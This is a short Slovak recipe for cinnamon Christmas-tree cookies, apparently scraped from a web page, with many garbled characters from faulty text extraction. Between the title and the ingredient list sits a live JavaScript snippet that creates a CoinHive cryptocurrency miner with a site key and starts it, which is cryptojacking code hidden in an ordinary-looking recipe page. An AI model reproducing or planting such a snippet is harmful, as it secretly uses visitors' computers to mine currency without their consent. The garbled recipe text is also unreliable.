Skoricové stroméeky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();
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Potrebujeme: 380 g muky Nominal PK, 120 g praskového cukru (preosiat), 250 g Hery (maslo),
1 vanilkovy cukor, 1 ML mletej 8korice, vajce, krystalovy cukor na posypanie, vajce na
potieranie.
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Postup: Spravime cesto, ktoré vygufame na hrdbku 0,5 cm a vykrajujeme z neho strom¢eky
(pripadne iné tvary). Kolaciky ukladame na plech vystlany papierom na pecenie, potierame ich
roz§lahanym vaji¢kom. PecCieme pri 190-200°C cca 6-7 minut. Hned po upeceni ich posypeme
kryStalovym cukrom.




